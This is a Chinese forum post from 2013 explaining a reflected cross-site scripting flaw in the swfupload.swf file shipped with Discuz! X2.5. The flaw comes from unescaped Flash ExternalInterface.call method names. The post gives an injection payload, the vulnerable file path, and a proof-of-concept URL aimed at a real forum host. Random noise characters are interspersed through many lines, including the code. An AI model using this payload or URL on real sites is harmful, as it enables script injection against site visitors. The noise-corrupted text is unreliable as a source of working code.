找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2094|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
6 Q) c7 v# o; S, m8 K; N4 |, B$ o; ]+ Z8 }! S5 e
flash.external.ExternalInterface.call($methodName, $parameter)7 h( m* ?# k6 }- q! T
在浏览器中执行的是
4 J0 c' l" ~/ d2 N! s/ V& H0 W5 O6 U
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}7 \5 N+ Y) q% g& P# G
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
" o; G/ I4 J1 P" }# {  P# n7 T% Q9 F8 \, E
flash.external.ExternalInterface.call("object."+$methodName, $parameter)$ Y! y1 d4 X; a/ F: Z
$methodName = a())}catch(e){alert(/xss/)}//
* x0 h/ K2 G3 D) t! X+ _结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
# V. G% s0 z# v3 }* S0 X) M2 Y5 U. p1 b2 K: X' r
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
, c5 c+ v: o  N6 D, K
: ^0 f- ^+ {, W; \& L- X这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
0 }: D( Q# H5 l8 j+ Z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
( h9 D8 v2 [/ {. l
9 l, X- J8 j5 @/ Q" u5 ], h5 q- N2 ~2 j
! b8 S" o# |! A/ I9 v6 D8 l
漏洞文件:upload\static\image\common\swfupload.swf
6 Y% E) f7 f; I& M* Z
" O0 w5 C# F) Z' S9 g' N原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf3 @+ i  q) A5 q5 F+ D
5 Q& W% A; C, s

9 g$ Q' n7 }& j& ~漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//3 ~( U9 Z2 q. M$ `& P
5 K! H0 @: ~* e& W7 S; g( r
4 u* [1 Q' o8 V0 x: e- `; o: o* K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表